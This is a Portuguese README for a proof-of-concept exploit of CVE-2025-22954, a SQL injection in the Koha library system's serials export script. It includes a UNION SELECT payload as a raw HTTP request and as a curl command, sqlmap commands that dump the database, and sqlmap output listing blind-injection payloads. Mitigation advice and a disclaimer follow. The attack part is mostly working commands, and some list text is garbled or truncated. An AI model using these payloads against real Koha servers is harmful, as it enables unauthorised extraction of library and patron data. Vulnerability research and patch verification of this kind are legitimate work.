
Koha CVE-2025-22954: Injeção SQL em lateissues-export.pl
Este repositório contém uma prova de conceito para CVE-2025-22954, uma vulnerabilidade de injeção de SQL de gravidade crítica (CVSS 10.0) no Koha anterior à versão 24.11.02. A vulnerabilidade existe na função GetLateOrMissingIssues em C4/Serials.pm, que é chamada pelo script /serials/lateissues-export.pl. A vulnerabilidade pode ser explorada através dos parâmetros supplierid ou serialid.
| ID do CVE | CVE-2025-22954 |
|---|---|
| CVSS v3 | 10.0 (Crítico) |
| EPSS Score | 0.03% (Top 5.26%) |
| Publicado | 12 de março de 2025 |
| Corrigido em | Koha 24.11.02 |
| Referência do Bug | Koha Bug #38829 |
| Notas de Lançamento | Koha 24.11.02 Lançamento |
A vulnerabilidade decorre do tratamento inseguro da entrada do usuário nos parâmetros supplierid e serialid no script lateissues-export.pl, que é passado para a função GetLateOrMissingIssues em C4/Serials.pm. A função não sanitiza ou parametriza adequadamente essas entradas antes de usá-las em consultas SQL, permitindo ataques de injeção de SQL.
O script vulnerável (lateissues-export.pl) contém o seguinte código:
my $supplierid = $query->param('supplierid');
my @serialids = $query->multi_param('serialid');
# ...
for my $serialid ( @serialids ) {
my @missingissues = GetLateOrMissingIssues($supplierid, $serialid);
# ...
# update claim date to let one know they have looked at this missing item
updateClaim($serialid);
}
A função GetLateOrMissingIssues em C4/Serials.pm provavelmente contém construção vulnerável de consulta SQL, onde os parâmetros $supplierid e $serialid são concatenados diretamente em instruções SQL sem a devida parametrização.
Esta prova de conceito demonstra como um usuário autenticado com acesso ao módulo de periódicos pode explorar essa vulnerabilidade para extrair dados confidenciais do banco de dados Koha ou potencialmente obter acesso não autorizado ao sistema de banco de dados subjacente.
lateissues-export.plA seguinte requisição HTTP bruta pode ser usada para explorar a vulnerabilidade:
GET /cgi-bin/koha/serials/lateissues-export.pl?supplierid=1' UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,user(),14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30 -- -&serialid=1&csv_profile=1 HTTP/1.1
Host: koha.example.com
User-Agent: Mozilla/5.0
Accept: text/html,application/xhtml+xml,application/xml
Connection: close
curl -i -X GET "https://koha.example.com/cgi-bin/koha/serials/lateissues-export.pl?supplierid=1' UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,user(),14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30 -- -&serialid=1&csv_profile=1"
O SQLMap pode ser usado para automatizar a exploração desta vulnerabilidade. Primeiro, capture uma requisição ao endpoint vulnerável com cookies de autenticação válidos, depois use o SQLMap para explorar o ponto de injeção.
# Save a request with valid cookies to request.txt
sqlmap -r request.txt -p supplierid --dbms=mysql --level=5 --risk=3
Exemplo de arquivo request.txt:
GET /cgi-bin/koha/serials/lateissues-export.pl?supplierid=1&serialid=1&csv_profile=1 HTTP/1.1
Host: koha.example.com
User-Agent: Mozilla/5.0
Accept: text/html,application/xhtml+xml,application/xml
Connection: close
Você também pode explorar a vulnerabilidade diretamente com o SQLMap:
sqlmap -u "https://koha.example.com/cgi-bin/koha/serials/lateissues-export.pl?supplierid=1&serialid=1&csv_profile=1" \
-p supplierid \
--dbms=mysql \
--dump
GET parameter 'supplierid' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n
sqlmap identified the following injection point(s) with a total of 59 HTTP(s) requests:
---
Parameter: supplierid (GET)
Type: boolean-based blind
Title: Boolean-based blind - Parameter replace (original value)
Payload: supplierid=(SELECT (CASE WHEN (1285=1285) THEN 1 ELSE (SELECT 7101 UNION SELECT 6384) END))&serialid=5&serialid=7&csv_profile=1
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: supplierid=1 AND (SELECT 5817 FROM (SELECT(SLEEP(5)))eSKk)&serialid=5&serialid=7&csv_profile=1
---
[10:46:38] [INFO] the back-end DBMS is MySQL
[10:46:38] [CRITICAL] unable to connect to the target URL. sqlmap is going to retry the request(s)
web server operating system: Linux Ubuntu 19.10 or 20.04 or 20.10 (focal or eoan)
web application technology: Apache 2.4.41
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
[10:46:40] [WARNING] HTTP error codes detected during run:
Esta vulnerabilidade permite que um atacante autenticado:
Atualize para a versão 24.11.02 ou posterior do Koha, que inclui uma correção para esta vulnerabilidade.
Se a atualização imediata não for possível, considere implementar as seguintes mitigações temporárias:
/serials/lateissues-export.pl apenas a endereços IP confiáveisC4/Serials.pm para parametrizar adequadamente as consultas SQL na função GetLateOrMissingIssuesEsta prova de conceito é fornecida apenas para fins educacionais e defensivos. Sempre obtenha a devida autorização antes de testar qualquer sistema em busca de vulnerabilidades.
O autor não é responsável por qualquer uso indevido desta informação. Esta prova de conceito deve ser usada apenas em sistemas que você possui ou nos quais você tenha permissão explícita para testar.